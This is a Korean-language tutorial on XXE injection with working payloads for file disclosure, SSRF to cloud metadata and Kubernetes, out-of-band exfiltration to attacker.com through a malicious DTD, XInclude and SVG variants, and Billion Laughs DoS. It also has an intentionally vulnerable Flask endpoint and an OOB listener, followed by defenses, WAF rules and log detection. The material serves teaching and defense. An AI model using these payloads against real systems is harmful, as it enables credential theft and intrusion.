XML 외부 엔티티 주입(XXE Injection)
기본 원리
XML 외부 엔티티 주입(XXE Injection, XML External Entity Injection)은 XML 파서가 외부 엔티티 참조를 처리할 때 발생하는 취약점입니다. 공격자는 악의적으로 조작된 XML 문서를 서버에 전송하여 서버의 로컬 파일을 읽거나, SSRF(Server-Side Request Forgery)를 수행하거나, 서비스 거부(DoS) 공격을 유발할 수 있습니다.
XML 엔티티(Entity)란?
XML에서 엔티티는 특정 데이터를 참조하기 위한 변수와 유사한 개념입니다.
<!-- 내부 엔티티 (Internal Entity) - 문서 내에서 정의 -->
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY company "Acme Corporation">
]>
<note>
<to>&company; 고객센터</to>
</note>
<!-- 출력: Acme Corporation 고객센터 -->
<!-- 외부 엔티티 (External Entity) - 외부 리소스 참조 -->
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY externalData SYSTEM "file:///etc/passwd">
]>
<note>
<content>&externalData;</content>
</note>
<!-- 파서가 /etc/passwd 내용을 엔티티로 로드 -->
XXE가 발생하는 조건
- 애플리케이션이 XML 입력을 처리함
- XML 파서에서 외부 엔티티 처리가 활성화됨 (많은 파서에서 기본 활성화)
- 공격자가 XML 구조를 제어할 수 있음
공격 유형
1. 기본 파일 읽기 (File Disclosure)
<!-- Linux 시스템 파일 읽기 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
<!-- Windows 시스템 파일 읽기 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<foo>&xxe;</foo>
<!-- 애플리케이션 설정 파일 탈취 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///var/www/html/config.php">
]>
<request>
<username>&xxe;</username>
<password>test</password>
</request>
2. SSRF (Server-Side Request Forgery)
<!-- 내부 네트워크 스캐닝 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.1/admin">
]>
<foo>&xxe;</foo>
<!-- AWS EC2 메타데이터 서비스 접근 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<foo>&xxe;</foo>
<!-- 내부 Kubernetes API 서버 접근 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "https://kubernetes.default.svc/api/v1/namespaces/default/secrets">
]>
<foo>&xxe;</foo>
3. Blind XXE (응답에 직접 데이터가 표시되지 않는 경우)
<!-- Out-of-Band (OOB) 데이터 추출 -->
<!-- 외부 DTD 파일을 참조하여 데이터를 공격자 서버로 전송 -->
<!-- 공격자 서버의 malicious.dtd 파일 -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfiltrate;
<!-- 피해자 서버로 전송하는 페이로드 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/malicious.dtd">
%xxe;
]>
<foo>trigger</foo>
4. 에러 기반 Blind XXE
<!-- 에러 메시지를 통해 파일 내용 추출 -->
<!-- malicious_error.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!-- 파서가 "file:///nonexistent/root:x:0:0:root:/root:/bin/bash..."
형태의 경로를 시도하면서 에러 메시지에 파일 내용이 노출됨 -->
5. XInclude를 통한 XXE
<!-- XML 파서가 DTD를 처리하지 않아도 XInclude 사용 가능 -->
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
<!-- SVG 파일 업로드를 통한 XXE -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
6. DOCTYPE 기반 DoS (Billion Laughs)
<!-- 기하급수적 엔티티 확장으로 서버 메모리 고갈 -->
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
<!-- lol9는 약 10억 개의 "lol" 문자열로 확장됨 -->
실습: 취약한 환경과 공격 실습
취약한 Python 서버 (Flask)
from flask import Flask, request, jsonify
from lxml import etree
app = Flask(__name__)
# 취약한 코드 - 외부 엔티티 허용
@app.route('/api/parse-xml', methods=['POST'])
def parse_xml():
xml_data = request.data
# 위험! 기본 파서 설정은 외부 엔티티를 허용함
parser = etree.XMLParser()
tree = etree.fromstring(xml_data, parser)
username = tree.find('username').text
return jsonify({'status': 'ok', 'user': username})
Burp Suite를 이용한 수동 테스트
POST /api/parse-xml HTTP/1.1
Host: victim.com
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<request>
<username>&xxe;</username>
<password>test</password>
</request>
xxeserve를 이용한 OOB 탐지
# 공격자 서버에서 xxeserve 실행
# https://github.com/joernchen/xxeserve
# 또는 Python으로 간단한 수신 서버 구축
python3 -c "
import http.server
import socketserver
import urllib.parse
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
print(f'[OOB 수신] URL: {self.path}')
print(f'[OOB 수신] 데이터: {urllib.parse.unquote(self.path)}')
self.send_response(200)
self.end_headers()
self.wfile.write(b'ok')
def log_message(self, format, *args):
pass # 기본 로그 억제
with socketserver.TCPServer(('0.0.0.0', 80), Handler) as httpd:
print('OOB 수신 서버 시작: port 80')
httpd.serve_forever()
"
방어 방법
1. 언어별 외부 엔티티 비활성화
# Python - lxml
from lxml import etree
# 안전한 파서 설정
safe_parser = etree.XMLParser(
resolve_entities=False, # 외부 엔티티 비활성화
no_network=True, # 네트워크 접근 차단
load_dtd=False, # DTD 로드 비활성화
forbid_dtd=True, # DTD 완전 금지
forbid_entities=True, # 엔티티 완전 금지
forbid_external=True # 외부 참조 금지
)
tree = etree.fromstring(xml_data, safe_parser)
# Python - defusedxml (추천)
import defusedxml.ElementTree as ET
# defusedxml은 기본적으로 모든 위험한 XML 기능을 차단
tree = ET.fromstring(xml_data)
// Java - DocumentBuilderFactory
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 외부 엔티티 비활성화
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(inputStream);
// Java - SAXParserFactory
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// Java - XMLInputFactory (StAX)
XMLInputFactory xmlInputFactory = XMLInputFactory.newInstance();
xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xmlInputFactory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
<?php
// PHP - libxml 외부 엔티티 비활성화
libxml_disable_entity_loader(true); // PHP 8.0 이전
// PHP 8.0+ SimpleXML
$xml = simplexml_load_string(
$xmlString,
'SimpleXMLElement',
LIBXML_NOENT | LIBXML_DTDLOAD // 이 옵션들은 위험
);
// 안전한 방법
$xml = simplexml_load_string(
$xmlString,
'SimpleXMLElement',
0 // 외부 엔티티/DTD 로드 비활성화
);
2. 입력 검증 및 화이트리스트
import re
def validate_xml_safe(xml_string: str) -> bool:
"""XXE 관련 패턴이 없는지 검증"""
dangerous_patterns = [
r'<!DOCTYPE',
r'<!ENTITY',
r'SYSTEM\s+["\']',
r'PUBLIC\s+["\']',
r'file://',
r'http://',
r'https://',
r'ftp://',
r'%', # % URL 인코딩
r'%[a-zA-Z]', # 파라미터 엔티티 참조
]
xml_upper = xml_string.upper()
for pattern in dangerous_patterns:
if re.search(pattern, xml_string, re.IGNORECASE):
raise ValueError(f"위험한 XML 패턴 탐지: {pattern}")
return True
3. JSON API로 전환
# XML 대신 JSON API 사용 권장
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/api/user', methods=['POST'])
def create_user():
# XML 대신 JSON 사용 (XXE 위험 없음)
data = request.get_json()
username = data.get('username')
return jsonify({'status': 'ok', 'user': username})
탐지 방법
WAF 규칙 (ModSecurity)
# XXE 공격 탐지 및 차단
SecRule REQUEST_BODY "@rx <!DOCTYPE[^>]*>" \
"id:2000,phase:2,deny,status:400,\
msg:'XXE Attack - DOCTYPE declaration detected',\
logdata:'%{MATCHED_VAR}'"
SecRule REQUEST_BODY "@rx <!ENTITY[^>]*SYSTEM[^>]*>" \
"id:2001,phase:2,deny,status:400,\
msg:'XXE Attack - External entity declaration detected'"
SecRule REQUEST_BODY "@rx file://|http://|https://" \
"id:2002,phase:2,deny,status:400,\
chain,\
msg:'XXE Attack - External resource reference'"
SecRule REQUEST_BODY "@rx <!ENTITY"
로그 기반 탐지
# Nginx/Apache 로그에서 XXE 시도 탐지
grep -E "DOCTYPE|ENTITY|SYSTEM|file://|%" /var/log/nginx/access.log | \
awk '{print $1, $7, $NF}' | sort | uniq -c | sort -rn | head -20
# 실시간 모니터링
tail -f /var/log/nginx/access.log | \
grep --line-buffered -E "DOCTYPE|ENTITY|SYSTEM" | \
while read line; do
echo "[$(date)] XXE 시도 탐지: $line"
# 알림 전송
done
Burp Suite를 이용한 자동 스캔
1. Burp Suite > Scanner 또는 Active Scan
2. XML을 처리하는 엔드포인트 식별
3. 우클릭 > Scan > Active Scan
4. "OS command injection" 및 "XXE" 항목 포함 확인
5. 결과에서 "External service interaction" 이슈 확인
수동 테스트 체크리스트:
□ Content-Type: application/xml 요청 식별
□ Content-Type: text/xml 요청 식별
□ .xml, .xsd, .wsdl 파일 업로드 기능 식별
□ SVG 이미지 업로드 기능 식별
□ DOCX, XLSX, PPTX 파일 처리 기능 식별 (내부가 XML)
참고 도구 및 자원
| 도구/자원 | 종류 | 설명 | URL |
|---|---|---|---|
| Burp Suite | 탐지 도구 | XML 처리 엔드포인트 자동 탐지 및 테스트 | portswigger.net/burp |
| defusedxml | 방어 라이브러리 | Python 안전한 XML 파싱 라이브러리 | pypi.org/project/defusedxml |
| OWASP XXE Cheat Sheet | 참고 문서 | 언어별 XXE 방어 가이드 | cheatsheetseries.owasp.org |
| XXEinjector | 공격 도구 | 자동화된 XXE 탐지 및 활용 도구 | github.com/enjoiz/XXEinjector |
| PortSwigger XXE Labs | 실습 환경 | 다양한 XXE 시나리오 실습 랩 | portswigger.net/web-security/xxe |
| OWASP XML Security Cheat Sheet | 참고 문서 | XML 전반적인 보안 가이드 | cheatsheetseries.owasp.org |
⚠️ 주의사항: XXE는 OWASP Top 10에 지속적으로 포함되는 심각한 취약점으로, 단순한 파일 읽기를 넘어 클라우드 환경에서 메타데이터 서비스(AWS IMDSv1, GCP 메타데이터 등)를 통해 자격증명을 탈취하고 클라우드 인프라 전체를 장악하는 데 활용될 수 있습니다. DOCX, XLSX, SVG 등 일반적으로 안전해 보이는 파일 형식도 내부적으로 XML을 포함하므로 파일 업로드 기능에서도 반드시 검토해야 합니다. 모든 테스트는 허가된 환경에서만 수행하십시오.